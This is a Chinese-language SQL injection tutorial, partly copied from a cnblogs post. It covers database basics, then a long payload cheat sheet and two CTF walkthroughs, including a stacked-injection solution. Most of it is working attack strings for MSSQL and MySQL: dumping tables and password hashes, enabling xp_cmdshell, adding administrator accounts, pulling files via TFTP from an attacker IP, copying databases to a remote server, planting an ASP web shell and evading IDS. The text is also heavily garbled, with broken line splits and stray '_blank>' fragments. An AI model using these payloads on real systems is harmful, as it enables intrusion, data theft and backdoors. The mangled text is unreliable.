SQL注入原理
数据库
数据库就是将大量数据保存起来,通过计算机加工而成的可以高效访问的数据集合
数据库结构
库:就是一堆表组成的数据集合 表:类似excel,由行和列组成的二维表 字段:表中的列称为字段,每一列的标题叫做字段名 记录:表中的行称为记录 单元格:列和行相交的地方称为单元格 在众多库中有一个最重要的:information_schema(系统自带库) 在这个库中有三张表更重要:
schemata:存有所有库名 SCHEMA_NAME:库名tables:存有所有表名 table_schema:表属于的库名 table_name:所有的表名columns:存有所有字段名 table_schema:表属于的库名 table_name:字段属于的表名 column_name:字段名
基本数据库语句
select * from 表:从表里查询所有内容 select 1,2,3:显示1,2,3 select database():显示当前库名 where:有条件的从表中选取数据 and/or:有多个条件时用and和or连接 order by:根据制定的结果集/指定的列进行正序排序(order by 1 :根据第一列进行排序) order by 1 desc:倒序排列
当指定的列不存在时会直接报错
limit 0,1: 从第一行起显示一条记录(从第几行起,显示多少行的记录) union select:将多个表拼在一起(字段数要一致)
SQL注入的基本原理
与数据库产生交互的地方: 增删查改
注入漏洞满足以下两点:
参数用户可控构造的语句可以在数据库中执行
SQL注入的基本步骤
判断注入点 判断某个链接是否存在SQL注入,可以通过对其传入的可控参数进行简单的构造,通过服务端返回的内容来判断有无注入
id=1’ 在1后面加上单引号,页面出错 id=1 and 1=1 正常 id=1 and 1=2 错误
构造测试预期结果变种
a’//触发错误,返回数据库错误NULLa’ or ‘1’='1//永真条件,返回所有记录a’) or (‘1’=1a’ or ‘1’='2//空条件,返回原来相同结果a’) or (‘1’=2a’ and ‘1’='2//永假条件,不返回记录a’) and (‘1’='2
判断字段数: 通过order by 1,2,3…判断字段数 目的是在联合查询时select相同的字段数(列数)防止报错 联合查询 要先看列数是否一致查回显点: 回显点: 显示数据库里的内容 方法: union select 1,2,3…查看显示的内容 在此例中回显点为2和3查询相关的内容 基本语句: select 字段 from 表 查表名 select table_name from information_schema.tables where tables_schema=database() limit 0,1 查字段名 select columns_name from information_schema.columns where table_schema=database() and table_name = ‘表名’ limit 0,1
SQL注入常用语句
数字型注入
许多网页链接有类似的结构 http://xxx.com/users.php?id=1 基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字,在大多数的网页中,诸如 查看用户个人信息,查看文章等,大都会使用这种形式的结构传递id等信息,交给后端,查询出数据库中对应的信息,返回给前台。这一类的 SQL 语句原型大概为 select * from 表名 where id=1 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破: select * from 表名 where id=1 and 1=1
字符型注入
网页链接有类似的结构 http://xxx.com/users.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name='admin' 值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破: select * from 表名 where name='admin' and 1=1 '
搜索型注入
这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 “keyword=关键字” 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like '%关键字%' 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破: select * from 表名 where 字段 like '%测试%' and '%1%'='%1%' 登录页面注入 username:1‘ or 1=1 # password:anything
常用语句
1.判断有无注入点
; and 1=1 and 1=2
2.猜表一般的表的名称无非是admin adminuser
user pass password 等
..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin
) —判断是否存在admin这张表
3.猜帐号数目 如果遇到
0< 返回正确页面
1<返回错误页面说明帐号数目就是
1个
and 0<(select count(*) from admin
)
and 1<(select count(*) from admin
)
4.猜解字段名称 在
len( ) 括号里面加上我们想到的字段名称
.
and 1=(select count(*) from admin
where len(*)>0)–
and 1=(select count(*) from admin
where len(用户字段名称name
)>0)
and 1=(select count(*) from admin
where len(_blank
>密码字段名称password
)>0)
5.猜解各个字段的长度 猜解长度就是把
>0变换 直到返回正确页面为止
and 1=(select count(*) from admin
where len(*)>0)
and 1=(select count(*) from admin
where len(name
)>6) 错误
and 1=(select count(*) from admin
where len(name
)>5) 正确 长度是
6
and 1=(select count(*) from admin
where len(name
)=6) 正确
and 1=(select count(*) from admin
where len(password
)>11) 正确
and 1=(select count(*) from admin
where len(password
)>12) 错误 长度是
12
and 1=(select count(*) from admin
where len(password
)=12) 正确
6.猜解字符
and 1=(select count(*) from admin
where left(name
,1)=a
) —猜解用户帐号的第一位
and 1=(select count(*) from admin
where left(name
,2)=ab
)—猜解用户帐号的第二位
就这样一次加一个字符这样猜
,猜到够你刚才猜出来的多少位了就对了
,帐号就算出来了
and 1=(select top 1 count(*) from Admin
where Asc(mid(pass
,5,1))=51) —
这个查询语句可以猜解中文的用户和_blank
>密码
.只要把后面的数字换成中文的 ASSIC码就OK
.最后把结果再转换成字符
.
group by users
.id
having 1=1–
group by users
.id
, users
.username
, users
.password
, users
.privs
having 1=1–
; insert into users
values( 666, attacker
, foobar
, 0xffff )–
UNION Select TOP 1 COLUMN_blank
>_NAME
FROM INFORMATION_blank
>_SCHEMA
.COLUMNS Where TABLE_blank
>_NAME
=logintable
-
UNION Select TOP 1 COLUMN_blank
>_NAME
FROM INFORMATION_blank
>_SCHEMA
.COLUMNS Where TABLE_blank
>_NAME
=logintable
Where COLUMN_blank
>_NAME
NOT IN (login_blank
>_id
)-
UNION Select TOP 1 COLUMN_blank
>_NAME
FROM INFORMATION_blank
>_SCHEMA
.COLUMNS Where TABLE_blank
>_NAME
=logintable
Where COLUMN_blank
>_NAME
NOT IN (login_blank
>_id
,login_blank
>_name
)-
UNION Select TOP 1 login_blank
>_name
FROM logintable
-
UNION Select TOP 1 password
FROM logintable
where login_blank
>_name
=Rahul–
看_blank
>服务器打的补丁
=出错了打了SP4补丁
and 1=(select @
@VERSION)–
看_blank
>数据库连接账号的权限,返回正常,证明是 _blank
>服务器角色sysadmin权限。
and 1=(Select IS_blank
>_SRVROLEMEMBER
(sysadmin
))–
判断连接_blank
>数据库帐号。(采用SA账号连接 返回正常
=证明了连接账号是SA)
and sa
=(Select System_blank
>_user
)–
and user_blank
>_name
()=dbo–
and 0<>(select user_blank
>_name
()–
看xp_blank
>_cmdshell是否删除
and 1=(Select count(*) FROM master
.dbo
.sysobjects
Where xtype
= X
AND name
= xp_blank
>_cmdshell
)–
xp_blank
>_cmdshell被删除,恢复
,支持绝对路径的恢复
;EXEC master
.dbo
.sp_blank
>_addextendedproc xp_blank
>_cmdshell
,xplog70
.dll–
;EXEC master
.dbo
.sp_blank
>_addextendedproc xp_blank
>_cmdshell
,c:inetpubwwwrootxplog70
.dll–
反向PING自己实验
;use master
;declare @s int;exec sp_blank
>_oacreate “wscript
.shell”
,@s out;exec sp_blank
>_oamethod
@s,”run”
,NULL,”cmd
.exe
/c ping
192.168.0.1″
;–
加帐号
;DECLARE @shell INT EXEC SP_blank
>_OACreate wscript
.shell
,@shell OUTPUT
EXEC SP_blank
>_OAMETHOD
@shell,run
,null, C:WINNTsystem32cmd
.exe
/c net
user jiaoniang$
1866574 /add–
创建一个虚拟目录E盘:
;declare @o int exec sp_blank
>_oacreate wscript
.shell
, @o out exec sp_blank
>_oamethod
@o, run
, NULL, cscript
.exe c:inetpubwwwrootmkwebdir
.vbs
-w “默认Web站点”
-v “e”
,”e:”–
访问属性:(配合写入一个
[webshell
](https:
declare @o int exec sp_blank
>_oacreate wscript
.shell
, @o out exec sp_blank
>_oamethod
@o, run
, NULL, cscript
.exe c:inetpubwwwrootchaccess
.vbs
-a w3svc
/1/ROOT
/e
+browse
爆库 特殊_blank
>技巧::
%5c
= 或者把
/和 修改
%5提交
and 0<>(select top 1 paths
from newtable
)–
得到库名(从
1到
5都是系统的id,
6以上才可以判断)
and 1=(select name
from master
.dbo
.sysdatabases
where dbid
=7)–
and 0<>(select count(*) from master
.dbo
.sysdatabases
where name
>1 and dbid
=6)
依次提交 dbid
= 7,8,9…
. 得到更多的_blank
>数据库名
and 0<>(select top 1 name
from bbs
.dbo
.sysobjects
where xtype
=U
) 暴到一个表 假设为 admin
and 0<>(select top 1 name
from bbs
.dbo
.sysobjects
where xtype
=U
and name
not in (Admin
)) 来得到其他的表。
and 0<>(select count(*) from bbs
.dbo
.sysobjects
where xtype
=U
and name
=admin
and uid
>(str
(id
))) 暴到UID的数值假设为
18779569 uid
=id
and 0<>(select top 1 name
from bbs
.dbo
.syscolumns
where id
=18779569) 得到一个admin的一个字段
,假设为 user_blank
>_id
and 0<>(select top 1 name
from bbs
.dbo
.syscolumns
where id
=18779569 and name
not in
(id
,…
)) 来暴出其他的字段
and 0<(select user_blank
>_id
from BBS
.dbo
.admin
where username
>1) 可以得到用户名
依次可以得到_blank
>密码。。。。。假设存在 user_blank
>_id username
,password 等字段
and 0<>(select count(*) from master
.dbo
.sysdatabases
where name
>1 and dbid
=6)
and 0<>(select top 1 name
from bbs
.dbo
.sysobjects
where xtype
=U
) 得到表名
and 0<>(select top 1 name
from bbs
.dbo
.sysobjects
where xtype
=U
and name
not in(Address
))
and 0<>(select count(*) from bbs
.dbo
.sysobjects
where xtype
=U
and name
=admin
and uid
>(str
(id
))) 判断id值
and 0<>(select top 1 name
from BBS
.dbo
.syscolumns
where id
=773577794) 所有字段
?id
=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id
=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin
(union,access也好用
)
得到WEB路径
;create table [dbo
].[swap
] ([swappass
][char](255));–
and (select top 1 swappass
from swap
)=1–
;Create TABLE newtable
(id
int IDENTITY(1,1),paths
varchar(500)) Declare @test varchar(20) exec master
..xp_blank
>_regread
@rootkey=HKEY_blank
>_LOCAL_blank
>_MACHINE
, @key=SYSTEMCurrentControlSetServicesW3SVCParametersVirtual Roots
, @value_blank>_name
=/, values=@test OUTPUT
insert into paths
(path
) values(@test)–
;use ku1
;–
;create table cmd
(str image
);– 建立image类型的表cmd
存在xp_blank
>_cmdshell的测试过程:
;exec master
..xp_blank
>_cmdshell dir
;exec master
.dbo
.sp_blank
>_addlogin jiaoniang$
;– 加
SQL帐号
;exec master
.dbo
.sp_blank
>_password
null,jiaoniang$
,1866574;–
;exec master
.dbo
.sp_blank
>_addsrvrolemember jiaoniang$ sysadmin
;–
;exec master
.dbo
.xp_blank
>_cmdshell net
user jiaoniang$
1866574 /workstations:
* /times:
all /passwordchg:yes
/passwordreq:yes
/active:yes
/add;–
;exec master
.dbo
.xp_blank
>_cmdshell net localgroup administrators jiaoniang$
/add;–
exec master
..xp_blank
>_servicecontrol
start, schedule 启动_blank
>服务
exec master
..xp_blank
>_servicecontrol
start, server
; DECLARE @shell INT EXEC SP_blank
>_OACreate wscript
.shell
,@shell OUTPUT
EXEC SP_blank
>_OAMETHOD
@shell,run
,null, C:WINNTsystem32cmd
.exe
/c net
user jiaoniang$
1866574 /add
;DECLARE @shell INT EXEC SP_blank
>_OACreate wscript
.shell
,@shell OUTPUT
EXEC SP_blank
>_OAMETHOD
@shell,run
,null, C:WINNTsystem32cmd
.exe
/c net localgroup administrators jiaoniang$
/add
; exec master
..xp_blank
>_cmdshell tftp
-i youip get
file.exe– 利用TFTP上传文件
;declare @a sysname
set @a=xp_blank
>_
+cmdshell
exec @a dir c:
;declare @a sysname
set @a=xp
+_blank
>_cm’
+’dshell
exec @a dir c:
;declare @a;set @a=db_blank
>_name
();backup database @a to disk=你的IP你的共享目录bak
.dat
如果被限制则可以。
select * from openrowset(_blank
>sqloledb
,server
;sa
;,select OK
! exec master
.dbo
.sp_blank
>_addlogin hax
)
查询构造:
Select * FROM news
Where id
=…
AND topic
=…
AND …
..
adminand
1=(select count(*) from [user] where username
=victim
and right(left(userpass
,01),1)=1) and userpass
<>
select 123;–
;use master
;–
:a
or name
like fff
%;– 显示有一个叫ffff的用户哈。
and 1<>(select count(email
) from [user]);–
;update [users
] set email
=(select top 1 name
from sysobjects
where xtype
=u
and status>0) where name
=ffff
;–
;update [users
] set email
=(select top 1 id
from sysobjects
where xtype
=u
and name
=ad
) where name
=ffff
;–
;update [users
] set email
=(select top 1 name
from sysobjects
where xtype
=u
and id
>581577110) where name
=ffff
;–
;update [users
] set email
=(select top 1 count(id
) from password
) where name
=ffff
;–
;update [users
] set email
=(select top 1 pwd
from password
where id
=2) where name
=ffff
;–
;update [users
] set email
=(select top 1 name
from password
where id
=2) where name
=ffff
;–
上面的语句是得到_blank
>数据库中的第一个用户表
,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名 ad得到这个表的ID 得到第二个表的名字
insert into users
values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)–
insert into users
values( 667,123,123,0xffff)–
insert into users
values ( 123, admin–
, password
, 0xffff)–
;and user>0
;and (select count(*) from sysobjects
)>0
;and (select count(*) from mysysobjects
)>0
枚举出数据表名
;update aaa
set aaa
=(select top 1 name
from sysobjects
where xtype
=u
and status>0);–
这是将第一个表名更新到aaa的字段处。
读出第一个表,第二个表可以这样读出来(在条件后加上
and name
<>刚才得到的表名)。
;update aaa
set aaa
=(select top 1 name
from sysobjects
where xtype
=u
and status>0 and name
<>vote
);–
然后id
=1552 and exists(select * from aaa
where aaa
>5)
读出第二个表,一个个的读出,直到没有为止。
读字段是这样:
;update aaa
set aaa
=(select top 1 col_blank
>_name
(object_blank
>_id
(表名
),1));–
然后id
=152 and exists(select * from aaa
where aaa
>5)出错,得到字段名
;update aaa
set aaa
=(select top 1 col_blank
>_name
(object_blank
>_id
(表名
),2));–
然后id
=152 and exists(select * from aaa
where aaa
>5)出错,得到字段名
[获得数据表名
][将字段值更新为表名,再想法读出这个字段的值就可得到表名
]
update 表名
set 字段
=(select top 1 name
from sysobjects
where xtype
=u
and status>0 [ and name
<>你得到的表名 查出一个加一个
]) [ where 条件
] select top 1 name
from sysobjects
where xtype
=u
and status>0 and name
not in(table1
,table2
,…
)
通过SQLSERVER注入_blank
>[漏洞
](https:
[获得数据表字段名
][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名
]
update 表名
set 字段
=(select top 1 col_blank
>_name
(object_blank
>_id
(要查询的数据表名
),字段列如:
1) [ where 条件
]
绕过IDS的检测
[使用变量
]
;declare @a sysname
set @a=xp_blank
>_
+cmdshell
exec @a dir c:
;declare @a sysname
set @a=xp
+_blank
>_cm’
+’dshell
exec @a dir c:
1、 开启远程_blank
>数据库
基本语法
select * from OPENROWSET(SQLOLEDB
, server
=servername
;uid
=sa
;pwd
=123, select * from table1
)
参数:
(1) OLEDB Provider name
2、 其中连接字符串参数可以是任何端口用来连接
,比如
select * from OPENROWSET(SQLOLEDB
, uid
=sa
;pwd
=123;Network
=DBMSSOCN
;Address
=192.168.0.1,1433;, select * from table
3.复制目标主机的整个_blank
>数据库
insert所有远程表到本地表。
基本语法:
insert into OPENROWSET(SQLOLEDB
, server
=servername
;uid
=sa
;pwd
=123, select * from table1
) select * from table2
这行语句将目标主机上table2表中的所有数据复制到远程_blank
>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
insert into OPENROWSET(SQLOLEDB
,uid
=sa
;pwd
=123;Network
=DBMSSOCN
;Address
=192.168.0.1,1433;,select * from table1
) select * from table2
insert into OPENROWSET(SQLOLEDB
,uid
=sa
;pwd
=123;Network
=DBMSSOCN
;Address
=192.168.0.1,1433;,select * from _blank
>_sysdatabases
)
select * from master
.dbo
.sysdatabases
insert into OPENROWSET(SQLOLEDB
,uid
=sa
;pwd
=123;Network
=DBMSSOCN
;Address
=192.168.0.1,1433;,select * from _blank
>_sysobjects
)
select * from user_blank
>_database
.dbo
.sysobjects
insert into OPENROWSET(SQLOLEDB
,uid
=sa
;pwd
=123;Network
=DBMSSOCN
;Address
=192.168.0.1,1433;,select * from _blank
>_syscolumns
)
select * from user_blank
>_database
.dbo
.syscolumns
复制_blank
>数据库:
insert into OPENROWSET(SQLOLEDB
,uid
=sa
;pwd
=123;Network
=DBMSSOCN
;Address
=192.168.0.1,1433;,select * from table1
) select * from database..table1
insert into OPENROWSET(SQLOLEDB
,uid
=sa
;pwd
=123;Network
=DBMSSOCN
;Address
=192.168.0.1,1433;,select * from table2
) select * from database..table2
复制哈西表(
HASH)登录_blank
>密码的
hash存储于sysxlogins中。方法如下:
insert into OPENROWSET(SQLOLEDB
, uid
=sa
;pwd
=123;Network
=DBMSSOCN
;Address
=192.168.0.1,1433;,select * from _blank
>_sysxlogins
) select * from database.dbo
.sysxlogins
得到
hash之后,就可以进行暴力破解。
遍历目录的方法: 先创建一个临时表:
temp
;create table temp(id nvarchar
(255),num1 nvarchar
(255),num2 nvarchar
(255),num3 nvarchar
(255));–
;insert temp exec master
.dbo
.xp_blank
>_availablemedia
;– 获得当前所有驱动器
;insert into temp(id
) exec master
.dbo
.xp_blank
>_subdirs c:
;– 获得子目录列表
;insert into temp(id
,num1
) exec master
.dbo
.xp_blank
>_dirtree c:
;– 获得所有子目录的目录树结构
,并寸入
temp表中
;insert into temp(id
) exec master
.dbo
.xp_blank
>_cmdshell
type c:webindex
.asp
;– 查看某个文件的内容
;insert into temp(id
) exec master
.dbo
.xp_blank
>_cmdshell dir c:
;–
;insert into temp(id
) exec master
.dbo
.xp_blank
>_cmdshell dir c:
*.asp
/s
/a
;–
;insert into temp(id
) exec master
.dbo
.xp_blank
>_cmdshell cscript C:InetpubAdminScriptsadsutil
.vbs
enum w3svc
;insert into temp(id
,num1
) exec master
.dbo
.xp_blank
>_dirtree c:
;– (xp_blank
>_dirtree适用权限
PUBLIC)
写入表:
语句
1:
and 1=(Select IS_blank
>_SRVROLEMEMBER
(sysadmin
));–
语句
2:
and 1=(Select IS_blank
>_SRVROLEMEMBER
(serveradmin
));–
语句
3:
and 1=(Select IS_blank
>_SRVROLEMEMBER
(setupadmin
));–
语句
4:
and 1=(Select IS_blank
>_SRVROLEMEMBER
(securityadmin
));–
语句
5:
and 1=(Select IS_blank
>_SRVROLEMEMBER
(securityadmin
));–
语句
6:
and 1=(Select IS_blank
>_SRVROLEMEMBER
(diskadmin
));–
语句
7:
and 1=(Select IS_blank
>_SRVROLEMEMBER
(bulkadmin
));–
语句
8:
and 1=(Select IS_blank
>_SRVROLEMEMBER
(bulkadmin
));–
语句
9:
and 1=(Select IS_blank
>_MEMBER
(db_blank
>_owner
));–
把路径写到表中去:
;create table dirs
(paths
varchar(100), id
int)–
;insert dirs
exec master
.dbo
.xp_blank
>_dirtree c:–
and 0<>(select top 1 paths
from dirs
)–
and 0<>(select top 1 paths
from dirs
where paths
not in(@Inetpub))–
;create table dirs1
(paths
varchar(100), id
int)–
;insert dirs
exec master
.dbo
.xp_blank
>_dirtree e:web–
and 0<>(select top 1 paths
from dirs1
)–
把_blank
>数据库备份到网页目录:下载
;declare @a sysname
; set @a=db_blank
>_name
();backup database @a to disk=e:webdown
.bak
;–
and 1=(Select top 1 name
from(Select top 12 id
,name
from sysobjects
where xtype
=char(85)) T
order by id
desc)
and 1=(Select Top 1 col_blank
>_name
(object_blank
>_id
(USER_blank
>_LOGIN
),1) from sysobjects
) 参看相关表。
and 1=(select user_blank
>_id
from USER_blank
>_LOGIN
)
and 0=(select user from USER_blank
>_LOGIN
where user>1)
-=- wscript
.shell example
-=-
declare @o int
exec sp_blank
>_oacreate wscript
.shell
, @o out
exec sp_blank
>_oamethod
@o, run
, NULL, notepad
.exe
; declare @o int exec sp_blank
>_oacreate wscript
.shell
, @o out exec sp_blank
>_oamethod
@o, run
, NULL, notepad
.exe–
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_blank
>_oacreate scripting
.filesystemobject
, @o out
exec sp_blank
>_oamethod
@o, opentextfile
, @f out, c:boot
.ini
, 1
exec @ret = sp_blank
>_oamethod
@f, readline
, @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_blank
>_oamethod
@f, readline
, @line out
end
declare @o int, @f int, @t int, @ret int
exec sp_blank
>_oacreate scripting
.filesystemobject
, @o out
exec sp_blank
>_oamethod
@o, createtextfile
, @f out, c:inetpubwwwrootfoo
.asp
, 1
exec @ret = sp_blank
>_oamethod
@f, writeline
, NULL,
<% set o
= server
.createobject
(“wscript
.shell”
): o
.run
( request
.querystring
(“cmd”
) ) %>
declare @o int, @ret int
exec sp_blank
>_oacreate speech
.voicetext
, @o out
exec sp_blank
>_oamethod
@o, register
, NULL, foo
, bar
exec sp_blank
>_oasetproperty
@o, speed
, 150
exec sp_blank
>_oamethod
@o, speak
, NULL, all your sequel servers are belong
to,us
, 528
waitfor delay
00:
00:
05
; declare @o int, @ret int exec sp_blank
>_oacreate speech
.voicetext
, @o out exec sp_blank
>_oamethod
@o, register
, NULL, foo
, bar
exec sp_blank
>_oasetproperty
@o, speed
, 150 exec sp_blank
>_oamethod
@o, speak
, NULL, all your sequel servers are belong
to us
, 528 waitfor delay
00:
00:
05–
xp_blank
>_dirtree适用权限
PUBLIC
exec master
.dbo
.xp_blank
>_dirtree c:返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。
create table dirs
(paths
varchar(100), id
int)
建表,这里建的表是和上面 xp_blank
>_dirtree相关连,字段相等、类型相同。
insert dirs
exec master
.dbo
.xp_blank
>_dirtree c:只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果
,一步步达到我们想要的信息!
[转自https://www.cnblogs.com/spadd/p/4085544.html]
例题1
判断注入点
select * from user where id
=1'
这个结果说明有注入点 2. 判断字段数
select * from user where id
=1 order by 3
select * from user where id
=1 order by 4
说明字段数为3 3. 判断回显点
select *from user where id
=1 and 1=2 union select 1,2,3
回显点为2和3(因为显示出了我们想要输出的记录) 4. 判断表名
select *from user where id
=1 and 1=2 union select 1,2,table_name
from information_schema
.tables where table_schema
=database() limit 0,1
使用3这个回显点输出我们想要看到的数据 第一个数据就和flag有关,就猜是这个表 5. 查询字段名
select *from user where id
=1 and 1=2 union select 1,2,column_name
from information_schema
.columns where table_name
='error_flag' and table_schema
=database() limit 0,1
第一列是id,看起来不是我们想要的,接下来看第二列(将limit 0,1改为limit 1,1即可) 看到flag就是这一列了 6. 查找flag
select *from user where id
=1 and 1=2 union select 1,2,flag
from error_flag
limit 0,1
先看第一个记录,一个一个试 第一个就是正确的flag,完成了一次sql手工注入
例题2【2019强网杯随便注】
堆叠注入
堆叠注入原理
在sql中,分号表示一条语句的结束。如果在分号的后面再加一条语句,这条语句也可以被执行,继续加一个分号和一条语句,这样就可以在一次数据库的调用中执行多个语句。
举个栗子
mysql
> select * from users
where id
=1;delete from users
;
第一个句子查询id=1的用户,在分号后的第二个句子把user表的所有内容删除
堆叠注入常用的语句
MySQL 的 show、rename 和 alter 命令:
show 可以用于查看当前数据库,当前表,以及表中的字段
show tables;show databases;show columns from <table_name
>
rename 用于修改 table 的名称
RENAME TABLE `users
` TO `words
`
alter 用于修改表中字段的属性
mysql
> ALTER TABLE testalter_tbl
DROP i
;
删除testalter_tbl表中的i字段
mysql
> ALTER TABLE testalter_tbl
ADD i
INT;
在testalter_tbl中添加i字段 FIRST 和 AFTER 关键字可用于 ADD 与 MODIFY 子句,所以如果你想重置数据表字段的位置就需要先使用 DROP 删除字段然后使用 ADD 来添加字段并设置位置 修改字段类型及名称,可以在ALTER命令中使用 CHANGE 子句
mysql
> ALTER TABLE testalter_tbl CHANGE
<要修改的字段名
> <新字段名
> <新字段名的类型
>;
判断注入点
1'
or 1=1
利用此常用语句看到了所有直接可见的表名 看起来好像没啥用啊
判断回显点
1'
union select 1,2,3;
return preg_match("/select|update|delete|drop|insert|where|./i",$inject);
发现有正则匹配不能用联合注入的方法,发现show没有被过滤,选择堆叠注入
查看所有的库
1'
; show databases;
查询结果
查看所有的表名
1'
;show tables;
那就一个一个表来看 可选择的语句有
1'; show columns from ``1919810931114514';#1'; desc '1919810931114513' 由于无法使用select语句,同时猜测,我们看到的结果是words中id的结果,因此使用alert修改字段名,使得flag改名为id,可以直接显示 payload
0'
;rename table words
to words1
;rename table `1919810931114514` to words
;alter table words change flag id
varchar(100) CHARACTER SET utf8
COLLATE utf8_general_ci
NOT NULL;show columns from words
;
然后使用
1'
or 1=1
显示所有结果,看到flag